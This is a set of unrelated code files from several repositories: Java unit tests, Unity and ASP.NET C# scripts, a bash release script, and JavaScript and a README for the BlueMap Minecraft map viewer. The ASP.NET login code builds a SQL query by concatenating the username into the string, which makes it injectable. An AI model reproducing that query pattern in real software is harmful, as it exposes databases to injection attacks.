findingMaxIntegerValue_GivenFromConstructorAtThirdParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(4, 5, 7); Integer maximumInteger = (Integer) maximumValue.testMaximum(); Assert.assertEquals((Integer) 7, maximumInteger); } @Test public void findingMaxFloatValue_GivenFromConstructorAtFirstParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(10.5f, 4.8f, 7.4f); Float maximumInteger = (Float) maximumValue.testMaximum(); Assert.assertEquals((Float) 10.5f, maximumInteger); } @Test public void findingMaxFloatValue_GivenFromConstructorAtSecondParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(4.8f, 10.5f, 7.4f); Float maximumInteger = (Float) maximumValue.testMaximum(); Assert.assertEquals((Float) 10.5f, maximumInteger); } @Test public void findingMaxFloatValue_GivenFromConstructorAtThirdParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(4.8f, 7.4f, 10.5f); Float maximumInteger = (Float) maximumValue.testMaximum(); Assert.assertEquals((Float) 10.5f, maximumInteger); } @Test public void findingMaxStringValue_GivenFromConstructorAtFirstParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue("Honda", "Ferrari", "Bmw"); String maximumInteger = (String) maximumValue.testMaximum(); Assert.assertEquals("Honda", maximumInteger); } @Test public void findingMaxStringValue_GivenFromConstructorAtSecondParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue("Ferrari", "Honda", "Bmw"); String maximumInteger = (String) maximumValue.testMaximum(); Assert.assertEquals("Honda", maximumInteger); } @Test public void findingMaxStringValue_GivenFromConstructorAtThirdParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue("Ferrari", "Bmw", "Honda"); String maximumInteger = (String) maximumValue.testMaximum(); Assert.assertEquals("Honda", maximumInteger); } } <file_sep>/README.md # Maximum-Problem-using-Generics
6b3decda3fd97b85cff3989fec0b63bd06fff4d5
[ "Markdown", "Java" ]
2
Java
sandipk01/Maximum-Problem-using-Generics
f49cf0bab2388210c3b54f6c6fcbc10eb383b725
adfafb9389021c492ffcfa5034f516c5396cdeb4
refs/heads/master
<file_sep>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.SceneManagement; //Make sure to add this for access to the SceneManagment class. public class collisionTester : MonoBehaviour { public GameObject spikes; public GameObject spike; public GameObject trap; public GameObject spikeTrap; public GameObject win; public GameObject win2; public GameObject finalWin; public GameObject begin; public GameObject win3; //Any Collider2D component will call this function on //any attached scripts when the collider enters a collision with another collider. //The gameobject must also have a RigidBody2D attached. private void OnCollisionEnter2D(Collision2D collision) { if (collision.collider.gameObject == spikes) { Scene scene = SceneManager.GetActiveScene(); SceneManager.LoadScene(scene.name); } if (collision.collider.gameObject == spike) { Scene scene = SceneManager.GetActiveScene(); SceneManager.LoadScene(scene.name); } if (collision.collider.gameObject == trap) { GameObject newBall = Instantiate(spikeTrap, new Vector3(4, 10, 0f), Quaternion.Euler(new Vector3(0,0,180f))); GameObject newBall2 = Instantiate(spikeTrap, new Vector3(186, 20, 0f), Quaternion.Euler(new Vector3(0, 0, 180f))); } if (collision.collider.GetComponent <spikeScript> ()) { Scene scene = SceneManager.GetActiveScene(); SceneManager.LoadScene(scene.name); } if (collision.collider.gameObject == begin) { SceneManager.LoadScene(1); } if (collision.collider.gameObject == win) { SceneManager.LoadScene(2); } if (collision.collider.gameObject == win2) { SceneManager.LoadScene(3); } if (collision.collider.gameObject == win3) { SceneManager.LoadScene(4); } if (collision.collider.gameObject == finalWin) { SceneManager.LoadScene(5); } } } <file_sep>using UnityEngine; using UnityEngine.SceneManagement; public class BoxController : MonoBehaviour { public float SceneLength; private float speed = 100f; public float gravity; public GameObject box; void Update() { //Draw a ling to show how wide our scene is. Debug.DrawLine(new Vector2(0f, SceneLength), new Vector2(0f, SceneLength)); //Create a new Vector2 and set it to where the box should move. // 'transform' refers the transform component of the gameobject this script is attached to (Box). Vector2 newPosition = new Vector2(transform.position.x, transform.position.y + .15f); //Check if the box is outside the scene. if (newPosition.y >= SceneLength) { speed = -0.5f; //Move left. newPosition = new Vector2(transform.position.x, -15f); } else if (newPosition.y <= SceneLength) { speed = 0.5f; //Move right. } //Set the transforms position variable to equal our Vector2. transform.position = newPosition; } private void OnCollisionEnter2D(Collision2D collision) { if (collision.collider.GetComponent<spikeScript>()) { SceneManager.LoadScene(0); } } }
aed33436e2034368fe7e043e55ea14658de46240
[ "C#" ]
2
C#
williamfeeney123/Final
e7c3fbbdac03656f59768f7749beb4ab04756ec1
c3318a4bd59f06ff4da530f90ab567b051a719a6
refs/heads/master
<repo_name>shristy/hello_world<file_sep>/add.py a=4 b=6 c= a+b print c
2ba0718280a7de27b3e1145cdd3526e6ed5ace98
[ "Python" ]
1
Python
shristy/hello_world
b609114b860fecf434661f6d0f4f739b008d36eb
1dfe209756646acf67257f3f5f04ae14161d8d0b
refs/heads/master
<repo_name>jettero/term--ansicolorx<file_sep>/new-version.sh #!/bin/bash git clean -dfx files=( $(grep '\$VERSION\s*=\s*.[0-9._]+.;' -Erl) ) echo echo files to update: grep -Er '\$VERSION\s*=\s*.[0-9._]+.;' --color=always echo DEFAULT=$( grep -E '\$VERSION\s*=\s*.[0-9._]+.;' < "${files[0]}" | sed -e s/[^0-9._]//g ) read -ep "new version: " -i $DEFAULT VERSION sed -i -e "s/= *'$DEFAULT';/= '$VERSION';/" "${files[@]}" git diff -- "${files[@]}"
4b96852ae6f47f79a47b454ffab3b1f4814ac4e9
[ "Shell" ]
1
Shell
jettero/term--ansicolorx
ddf747332f7e5eaa75f85d55bbdbbb5dbe4428d9
9c2f274c214244b4a6d3276f9258233684f1583d
refs/heads/master
<file_sep>/* * This file is part of BlueMap, licensed under the MIT License (MIT). * * Copyright (c) Blue (<NAME>) <https://bluecolored.de> * Copyright (c) contributors * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ import $ from 'jquery'; import { getTopLeftElement } from './Module.js'; export default class MapMenu { constructor(blueMap) { this.bluemap = blueMap; const maps = this.bluemap.settings; $('#bluemap-mapmenu').remove(); this.element = $(`<div id="bluemap-mapmenu" class="dropdown-container"><span class="selection">${maps[this.bluemap.map].name}</span></div>`).appendTo(getTopLeftElement(blueMap)); const dropdown = $('<div class="dropdown"></div>').appendTo(this.element); this.maplist = $('<ul></ul>').appendTo(dropdown); for (let mapId in maps) { if (!maps.hasOwnProperty(mapId)) continue; const map = maps[mapId]; if (!map.enabled) continue; $(`<li map="${mapId}">${map.name}</li>`).appendTo(this.maplist); } this.maplist.find('li[map=' + this.bluemap.map + ']').hide(); this.maplist.find('li[map]').click(this.onMapClick); $(document).on('bluemap-map-change', this.onBlueMapMapChange); } onMapClick = event => { const map = $(event.target).attr('map'); this.bluemap.changeMap(map); }; onBlueMapMapChange = () => { this.maplist.find('li').show(); this.maplist.find('li[map=' + this.bluemap.map + ']').hide(); this.element.find('.selection').html(this.bluemap.settings[this.bluemap.map].name); }; } <file_sep>/* * This file is part of BlueMap, licensed under the MIT License (MIT). * * Copyright (c) Blue (<NAME>) <https://bluecolored.de> * Copyright (c) contributors * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ import $ from 'jquery'; import { Math as Math3 } from 'three'; import { getTopRightElement } from './Module.js'; import GEAR from '../../../assets/gear.svg'; export default class Settings { constructor(blueMap) { this.blueMap = blueMap; const parent = getTopRightElement(blueMap); $('#bluemap-settings').remove(); this.elementMenu = $('<div id="bluemap-settings-container" style="display: none"></div>').appendTo(parent); this.elementSettings = $(`<div id="bluemap-settings" class="button"><img src="${GEAR}" /></div>`).appendTo(parent); this.elementSettings.click(this.onSettingsClick); /* Quality */ this.elementQuality = $( '<div id="bluemap-settings-quality" class="dropdown-container"><span class="selection">Quality: <span>Normal</span></span><div class="dropdown"><ul>' + '<li data-quality="2">High</li>' + '<li data-quality="1" style="display: none">Normal</li>' + '<li data-quality="0.75">Fast</li>' + '</ul></div></div>' ).prependTo(this.elementMenu); this.elementQuality.find('li[data-quality]').click(this.onQualityClick); this.elementRenderDistance = $('<div id="bluemap-settings-render-distance" class="dropdown-container"></div>').prependTo(this.elementMenu); this.init(); $(document).on('bluemap-map-change', this.init); } init = () => { this.defaultHighRes = this.blueMap.hiresTileManager.viewDistance; this.defaultLowRes = this.blueMap.lowresTileManager.viewDistance; this.elementRenderDistance.html( '<span class="selection">View Distance: <span>' + this.blueMap.hiresTileManager.viewDistance + '</span></span>' + '<div class="dropdown">' + '<input type="range" min="0" max="100" step="1" value="' + this.renderDistanceToPct(this.blueMap.hiresTileManager.viewDistance, this.defaultHighRes) + '" />' + '</div>' ); this.slider = this.elementRenderDistance.find('input'); this.slider.on('change input', this.onViewDistanceSlider); }; onViewDistanceSlider = () => { this.blueMap.hiresTileManager.viewDistance = this.pctToRenderDistance(parseFloat(this.slider.val()), this.defaultHighRes); this.blueMap.lowresTileManager.viewDistance = this.pctToRenderDistance(parseFloat(this.slider.val()), this.defaultLowRes); this.elementRenderDistance.find('.selection > span').html(Math.round(this.blueMap.hiresTileManager.viewDistance * 10) / 10); this.blueMap.lowresTileManager.update(); this.blueMap.hiresTileManager.update(); }; onQualityClick = (event) => { const target = event.target const desc = $(target).html(); this.blueMap.quality = parseFloat($(target).attr('data-quality')); this.elementQuality.find('li').show(); this.elementQuality.find(`li[data-quality="${this.blueMap.quality}"]`).hide(); this.elementQuality.find('.selection > span').html(desc); this.blueMap.handleContainerResize(); }; onSettingsClick = () => { if (this.elementMenu.css('display') === 'none'){ this.elementSettings.addClass('active'); } else { this.elementSettings.removeClass('active'); } this.elementMenu.animate({ width: 'toggle' }, 200); }; pctToRenderDistance(value, defaultValue) { let max = defaultValue * 5; if (max > 20) max = 20; return Math3.mapLinear(value, 0, 100, 1, max); } renderDistanceToPct(value, defaultValue) { let max = defaultValue * 5; if (max > 20) max = 20; return Math3.mapLinear(value, 1, max, 0, 100); } } <file_sep>package de.bluecolored.bluemap.core; public class BlueMap { public static final String VERSION = "0.2.1"; } <file_sep>![title-banner](https://bluecolored.de/paste/bluemap-title.jpg) BlueMap is a tool that generates 3d-maps of your Minecraft worlds and displays them in your browser. Take a look at [this demo](https://bluecolored.de/bluemap). It is really easy to set up - almost plug-and-play - if you use the integrated web-server (optional). The Sponge-Plugin automatically updates your map as soon as something changes in your world, as well as rendering newly generated terrain and managing the render-tasks. **BlueMap is currently in a really early development state!** The majority of features are still missing, and some blocks - especially tile-entities - will not render correctly/at all. See below for a list of what is planned for future releases. ### Clone Easy: `git clone https://github.com/BlueMap-Minecraft/BlueMap.git` ### Build In order to build BlueMap you simply need to run the `./gradlew build` command. You can find the compiled JAR file in `./build/libs` ### Issues / Suggestions You found a bug, have another issue or a suggestion? Please create an issue [here](https://github.com/BlueMap-Minecraft/BlueMap/issues)! ### Contributing You are welcome to contribute! Just create a pull request with your changes :) ## Using the CLI BlueMap can be used on the command-line, to render your Minecraft-Worlds *(Currently supported versions: 1.12 - 1.14)*. Use `java -jar bluemap.jar` and BlueMap will generate a default config in the current working directory. You then can configure your maps and even the webserver as you wish. Then, re-run the command and BlueMap will render all the configured maps for you and start the webserver if you turned it on in the config. To only run the webserver, just don't define any maps in the config. You can use `-c <config-file>` on the command-line to define a different configuration-file. ## Using the Sponge-Plugin ### Getting started BlueMap is mostly plug-and-play. Just install it like every other Sponge-Plugin and start your server. BlueMap will then generate a config-file for you in the `./config/bluemap/` folder. Here you can configure your maps and the webserver. The config has many useful comments in it, explaining everything :) **Before BlueMap can render anything,** it needs one more thing: resources! To render all the block-models, BlueMap makes use of the default minecraft-resources. Since they are property of mojang i can not include them in the plugin. Fortunately BlueMap can download them from mojangs servers for you, but you need to explicitly agree to this in the config! Simply change the `accept-download: false` setting to `accept-download: true`, and run the `/bluemap reload` command. After downloading the resources, BlueMap will start updating the configured worlds. To render the whole world for a start, you can use this command `/bluemap render [world]`. Then, head over to `http://<your-server-ip>:8100/` and you should see your map! *(If there is only black, you might have to wait a little until BlueMap has rendered enough of the map. You can also try to zoom in: the hires-models are saved first)* If you need help with the setup i will be happy to help you! ### Metrics and Webserver **Bluemap uses [bStats](https://bstats.org/) and an own metrics-system and is hosting a web-server!** Metrics are really useful to keep track of how the plugin is used and helps me stay motivated! Please turn them on :) **bStats:** All data collected by bStats can be viewed here: https://bstats.org/plugin/sponge/BlueMap. bStats data-collection is controlled by the metrics-setting set in sponges configuration! *(Turned off by default)* **own metrics:** Additionally to bStats, BlueMap is sending a super small report, containing only the implementation-name and the version of the BlueMap-plugin to my server (`https://metrics.bluecolored.de/bluemap`). I do this, because i might release some other implementations for BlueMap (like a CLI, or a forge-mod) that are not supported by bStats. Here is an example report: ```json { "implementation": "Sponge", "version": "0.0.0" } ``` This data-collection is also controlled by the metrics-setting set in sponges configuration! *(Turned off by default)* **web-server:** The web-server is a core-functionality of this plugin. It is enabled by default but can be disabled in the plugin-config. By default the web-server is bound to the standard ip-address on port `8100` and is hosting the content of the `./bluemap/web/`-folder. ### Commands and Permissions command | permission | description --- | --- | --- /bluemap | bluemap.status | displays BlueMaps render status /bluemap reload | bluemap.reload | reloads all resources, configuration-files and the web-server /bluemap pause | bluemap.pause | pauses all rendering /bluemap resume | bluemap.resume | resumes all paused rendering /bluemap render \[world\] | bluemap.rendertask.create.world | renders the whole world *\[clickable command in /bluemap\]* | bluemap.rendertask.prioritize | prioritizes the clicked render-task *\[clickable command in /bluemap\]* | bluemap.rendertask.remove | removes the clicked render-task ## Todo / planned features Here is a *(surely incomplete)* list of things that i want to include in future versions. *(They are not in any specific order. There is no guarantee that any of those things will ever be included.)* - render tile-entities (chests, etc..) - render entities - configurable markers / regions - marker / region API - free-flight-controls - live player positions - shaders for dynamic day/night - more configurations - better resource-pack support - mod-support (or an easy way for modders to do so themselves) - BlueMap as spigot plugin - BlueMap as forge mod - more render-tasks (commands to render parts of your world) - config to restrict map-generation to some bounds - ability to display the world-border <file_sep>/* * This file is part of BlueMap, licensed under the MIT License (MIT). * * Copyright (c) Blue (<NAME>) <https://bluecolored.de> * Copyright (c) contributors * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ import $ from 'jquery'; import { AmbientLight, BackSide, BufferGeometryLoader, ClampToEdgeWrapping, CubeGeometry, DirectionalLight, FileLoader, FrontSide, Mesh, MeshBasicMaterial, MeshLambertMaterial, NormalBlending, NearestFilter, PerspectiveCamera, Scene, Texture, TextureLoader, VertexColors, WebGLRenderer, } from 'three'; import Compass from './modules/Compass.js'; import Info from './modules/Info.js'; import MapMenu from './modules/MapMenu.js'; import Position from './modules/Position.js'; import Settings from './modules/Settings.js'; import Controls from './Controls.js'; import TileManager from './TileManager.js'; import { stringToImage, pathFromCoords } from './utils.js'; import SKYBOX_NORTH from '../../assets/skybox/north.png'; import SKYBOX_SOUTH from '../../assets/skybox/south.png'; import SKYBOX_EAST from '../../assets/skybox/east.png'; import SKYBOX_WEST from '../../assets/skybox/west.png'; import SKYBOX_UP from '../../assets/skybox/up.png'; import SKYBOX_DOWN from '../../assets/skybox/down.png'; export default class BlueMap { constructor(element, dataRoot) { this.element = element; this.dataRoot = dataRoot; this.loadingNoticeElement = $('<div id="bluemap-loading" class="box">loading...</div>').appendTo($(this.element)); this.fileLoader = new FileLoader(); this.blobLoader = new FileLoader(); this.blobLoader.setResponseType('blob'); this.bufferGeometryLoader = new BufferGeometryLoader(); this.initStage(); this.locationHash = ''; this.controls = new Controls(this.camera, this.element, this.hiresScene); this.loadSettings().then(async () => { this.lowresTileManager = new TileManager( this, this.settings[this.map]['lowres']['viewDistance'], this.loadLowresTile, this.lowresScene, this.settings[this.map]['lowres']['tileSize'], {x: 0, z: 0} ); this.hiresTileManager = new TileManager( this, this.settings[this.map]['hires']['viewDistance'], this.loadHiresTile, this.hiresScene, this.settings[this.map]['hires']['tileSize'], {x: 0, z: 0} ); await this.loadHiresMaterial(); await this.loadLowresMaterial(); this.initModules(); this.start(); }); } initModules() { this.modules = {}; this.modules.compass = new Compass(this); this.modules.position = new Position(this); this.modules.mapMenu = new MapMenu(this); this.modules.info = new Info(this); this.modules.settings = new Settings(this); } changeMap(map) { this.hiresTileManager.close(); this.lowresTileManager.close(); this.map = map; this.controls.resetPosition(); this.lowresTileManager = new TileManager( this, this.settings[this.map]['lowres']['viewDistance'], this.loadLowresTile, this.lowresScene, this.settings[this.map]['lowres']['tileSize'], {x: 0, z: 0} ); this.hiresTileManager = new TileManager( this, this.settings[this.map]['hires']['viewDistance'], this.loadHiresTile, this.hiresScene, this.settings[this.map]['hires']['tileSize'], {x: 0, z: 0} ); this.lowresTileManager.update(); this.hiresTileManager.update(); document.dispatchEvent(new Event('bluemap-map-change')); } loadLocationHash() { let hashVars = window.location.hash.substring(1).split(':'); if (hashVars.length >= 1){ if (this.settings[hashVars[0]] !== undefined && this.map !== hashVars[0]){ this.changeMap(hashVars[0]); } } if (hashVars.length >= 3){ let x = parseInt(hashVars[1]); let z = parseInt(hashVars[2]); if (!isNaN(x) && !isNaN(z)){ this.controls.targetPosition.x = x + 0.5; this.controls.targetPosition.z = z + 0.5; } } if (hashVars.length >= 6){ let dir = parseFloat(hashVars[3]); let dist = parseFloat(hashVars[4]); let angle = parseFloat(hashVars[5]); if (!isNaN(dir)) this.controls.targetDirection = dir; if (!isNaN(dist)) this.controls.targetDistance = dist; if (!isNaN(angle)) this.controls.targetAngle = angle; this.controls.direction = this.controls.targetDirection; this.controls.distance = this.controls.targetDistance; this.controls.angle = this.controls.targetAngle; this.controls.targetPosition.y = this.controls.minHeight; this.controls.position.copy(this.controls.targetPosition); } if (hashVars.length >= 7){ let height = parseInt(hashVars[6]); if (!isNaN(height)){ this.controls.minHeight = height; this.controls.targetPosition.y = height; this.controls.position.copy(this.controls.targetPosition); } } } start() { this.loadingNoticeElement.remove(); this.loadLocationHash(); $(window).on('hashchange', () => { if (this.locationHash === window.location.hash) return; this.loadLocationHash(); }); this.update(); this.render(); this.lowresTileManager.update(); this.hiresTileManager.update(); } update = () => { setTimeout(this.update, 1000); this.lowresTileManager.setPosition(this.controls.targetPosition); if (this.camera.position.y < 400) { this.hiresTileManager.setPosition(this.controls.targetPosition); } this.locationHash = '#' + this.map + ':' + Math.floor(this.controls.targetPosition.x) + ':' + Math.floor(this.controls.targetPosition.z) + ':' + Math.round(this.controls.targetDirection * 100) / 100 + ':' + Math.round(this.controls.targetDistance * 100) / 100 + ':' + Math.ceil(this.controls.targetAngle * 100) / 100 + ':' + Math.floor(this.controls.targetPosition.y); history.replaceState(undefined, undefined, this.locationHash); }; render = () => { requestAnimationFrame(this.render); if (this.controls.update()) this.updateFrame = true; if (!this.updateFrame) return; this.updateFrame = false; document.dispatchEvent(new Event('bluemap-update-frame')); this.skyboxCamera.rotation.copy(this.camera.rotation); this.skyboxCamera.updateProjectionMatrix(); this.renderer.clear(); this.renderer.render(this.skyboxScene, this.skyboxCamera, this.renderer.getRenderTarget(), false); this.renderer.clearDepth(); this.renderer.render(this.lowresScene, this.camera, this.renderer.getRenderTarget(), false); if (this.camera.position.y < 400) { this.renderer.clearDepth(); this.renderer.render(this.hiresScene, this.camera, this.renderer.getRenderTarget(), false); } }; handleContainerResize = () => { this.camera.aspect = this.element.clientWidth / this.element.clientHeight; this.camera.updateProjectionMatrix(); this.skyboxCamera.aspect = this.element.clientWidth / this.element.clientHeight; this.skyboxCamera.updateProjectionMatrix(); this.renderer.setSize(this.element.clientWidth * this.quality, this.element.clientHeight * this.quality); $(this.renderer.domElement) .css('width', this.element.clientWidth) .css('height', this.element.clientHeight); this.updateFrame = true; }; async loadSettings() { return new Promise(resolve => { this.fileLoader.load(this.dataRoot + 'settings.json', settings => { this.settings = JSON.parse(settings); this.maps = []; for (let map in this.settings) { if (this.settings.hasOwnProperty(map) && this.settings[map].enabled){ this.maps.push(map); } } this.maps.sort((map1, map2) => { var sort = this.settings[map1].ordinal - this.settings[map2].ordinal; if (isNaN(sort)) return 0; return sort; }); this.map = this.maps[0]; resolve(); }); }); } initStage() { this.updateFrame = true; this.quality = 1; this.renderer = new WebGLRenderer({ alpha: true, antialias: true, sortObjects: false, preserveDrawingBuffer: true, logarithmicDepthBuffer: true, }); this.renderer.autoClear = false; this.camera = new PerspectiveCamera(75, this.element.scrollWidth / this.element.scrollHeight, 0.1, 10000); this.camera.updateProjectionMatrix(); this.skyboxCamera = this.camera.clone(); this.skyboxCamera.updateProjectionMatrix(); this.skyboxScene = new Scene(); this.skyboxScene.ambient = new AmbientLight(0xffffff, 1); this.skyboxScene.add(this.skyboxScene.ambient); this.skyboxScene.add(this.createSkybox()); this.lowresScene = new Scene(); this.lowresScene.ambient = new AmbientLight(0xffffff, 0.6); this.lowresScene.add(this.lowresScene.ambient); this.lowresScene.sunLight = new DirectionalLight(0xccccbb, 0.7); this.lowresScene.sunLight.position.set(1, 5, 3); this.lowresScene.add(this.lowresScene.sunLight); this.hiresScene = new Scene(); this.hiresScene.ambient = new AmbientLight(0xffffff, 1); this.hiresScene.add(this.hiresScene.ambient); this.hiresScene.sunLight = new DirectionalLight(0xccccbb, 0.2); this.hiresScene.sunLight.position.set(1, 5, 3); this.hiresScene.add(this.hiresScene.sunLight); this.element.append(this.renderer.domElement); this.handleContainerResize(); $(window).resize(this.handleContainerResize); } createSkybox() { let geometry = new CubeGeometry(10, 10, 10); let material = [ new MeshBasicMaterial({ map: new TextureLoader().load(SKYBOX_SOUTH), side: BackSide }), new MeshBasicMaterial({ map: new TextureLoader().load(SKYBOX_NORTH), side: BackSide }), new MeshBasicMaterial({ map: new TextureLoader().load(SKYBOX_UP), side: BackSide }), new MeshBasicMaterial({ map: new TextureLoader().load(SKYBOX_DOWN), side: BackSide }), new MeshBasicMaterial({ map: new TextureLoader().load(SKYBOX_EAST), side: BackSide }), new MeshBasicMaterial({ map: new TextureLoader().load(SKYBOX_WEST), side: BackSide }) ]; return new Mesh(geometry, material); } async loadHiresMaterial() { return new Promise(resolve => { this.fileLoader.load(this.dataRoot + 'textures.json', textures => { textures = JSON.parse(textures); let materials = []; for (let i = 0; i < textures['textures'].length; i++) { let t = textures['textures'][i]; let material = new MeshLambertMaterial({ transparent: t['transparent'], alphaTest: 0.01, depthWrite: true, depthTest: true, blending: NormalBlending, vertexColors: VertexColors, side: FrontSide, wireframe: false }); let texture = new Texture(); texture.image = stringToImage(t['texture']); texture.premultiplyAlpha = false; texture.generateMipmaps = false; texture.magFilter = NearestFilter; texture.minFilter = NearestFilter; texture.wrapS = ClampToEdgeWrapping; texture.wrapT = ClampToEdgeWrapping; texture.flipY = false; texture.needsUpdate = true; texture.flatShading = true; material.map = texture; material.needsUpdate = true; materials[i] = material; } this.hiresMaterial = materials; resolve(); }); }); } async loadLowresMaterial() { this.lowresMaterial = new MeshLambertMaterial({ transparent: false, depthWrite: true, depthTest: true, vertexColors: VertexColors, side: FrontSide, wireframe: false }); } async loadHiresTile(tileX, tileZ) { let path = this.dataRoot + this.map + '/hires/'; path += pathFromCoords(tileX, tileZ); path += '.json'; return new Promise((resolve, reject) => { this.bufferGeometryLoader.load(path, geometry => { let object = new Mesh(geometry, this.hiresMaterial); let tileSize = this.settings[this.map]['hires']['tileSize']; let translate = this.settings[this.map]['hires']['translate']; let scale = this.settings[this.map]['hires']['scale']; object.position.set(tileX * tileSize.x + translate.x, 0, tileZ * tileSize.z + translate.z); object.scale.set(scale.x, 1, scale.z); resolve(object); }, () => { }, reject); }); } async loadLowresTile(tileX, tileZ) { let path = this.dataRoot + this.map + '/lowres/'; path += pathFromCoords(tileX, tileZ); path += '.json'; return new Promise((reslove, reject) => { this.bufferGeometryLoader.load(path, geometry => { let object = new Mesh(geometry, this.lowresMaterial); let tileSize = this.settings[this.map]['lowres']['tileSize']; let translate = this.settings[this.map]['lowres']['translate']; let scale = this.settings[this.map]['lowres']['scale']; object.position.set(tileX * tileSize.x + translate.x, 0, tileZ * tileSize.z + translate.z); object.scale.set(scale.x, 1, scale.z); reslove(object); }, () => { }, reject); }) } // ###### UI ###### toggleAlert(id, content) { let alertBox = $('#alert-box'); if (alertBox.length === 0){ alertBox = $('<div id="alert-box"></div>').appendTo(this.element); } let displayAlert = () => { let alert = $(`<div class="alert box" data-alert-id="${id}" style="display: none;"><div class="alert-close-button"></div>${content}</div>`).appendTo(alertBox); alert.find('.alert-close-button').click(() => { alert.fadeOut(200, () => alert.remove()); }); alert.fadeIn(200); }; let sameAlert = alertBox.find(`.alert[data-alert-id=${id}]`); if (sameAlert.length > 0){ alertBox.fadeOut(200, () => { alertBox.html(''); alertBox.show(); }); return; } let oldAlerts = alertBox.find('.alert'); if (oldAlerts.length > 0){ alertBox.fadeOut(200, () => { alertBox.html(''); alertBox.show(); displayAlert(); }); return; } displayAlert(); } }
eb82af826a08af115da79e180bcc219268ff758e
[ "JavaScript", "Java", "Markdown" ]
5
JavaScript
Katrix/BlueMap
aaaaf7e18adfdda2abe7d4bcd28867a28e5cfed9
3cb383afe1a7aa4488e756cee5910bf0f6af9ba4
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using EnterpriseAutomation.lumino.appcode; using System.Data; using System.Data.SqlClient; namespace EnterpriseAutomation.lumino { public partial class Main : System.Web.UI.Page { static string name; protected void Page_Load(object sender, EventArgs e) { } protected void btnlogin_Click(object sender, EventArgs e) { UserLogin login = new UserLogin(); if (login.CheckUser(txtUsername.Value.ToString(), txtPass.Value.ToString())) { name = txtUsername.Value.ToString(); Response.Redirect("Dashboard.aspx"); } else { lblError.Visible = true; txtPass.Value = ""; ClientScript.RegisterStartupScript(this.GetType(), "HideLabel", "<script type=\"text/javascript\">setTimeout(\"document.getElementById('" + lblError.ClientID + "').style.display='none'\",2000)</script>"); } } protected void btnCreateAccount_Click(object sender, EventArgs e) { } public bool IsUserReadOnly() { string query; bool value = false; query = "Select ReadOnly from dbo.Login Where Email = '"+name+"'"; try { DataTable dtDataItemsSets = ExecuteQuery(query); DataRow dt = dtDataItemsSets.Rows[0]; string val = dt["ReadOnly"].ToString(); value = Convert.ToBoolean(val); } catch { } return value; } public DataTable ExecuteQuery(string query) { SqlConnection conn = new SqlConnection(System.Configuration.ConfigurationManager.ConnectionStrings["AzureDBConnectionString"].ConnectionString); SqlDataAdapter dap = new SqlDataAdapter(query, conn); DataSet ds = new DataSet(); dap.Fill(ds); return ds.Tables[0]; } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Services; using System.Data; using System.Data.SqlClient; namespace EnterpriseAutomation { /// <summary> /// Summary description for MyWebService /// </summary> [WebService(Namespace = "http://tempuri.org/")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] [System.ComponentModel.ToolboxItem(false)] // To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line. // [System.Web.Script.Services.ScriptService] public class MyWebService : System.Web.Services.WebService { [WebMethod] public List<object> GenerateChart() { List<object> data = new List<object>(); string query = "Select Product,SUM(Cast(dbo.ReportData.Cost as float)) from dbo.ReportData Group by Product"; DataTable dtDataItemsSets = 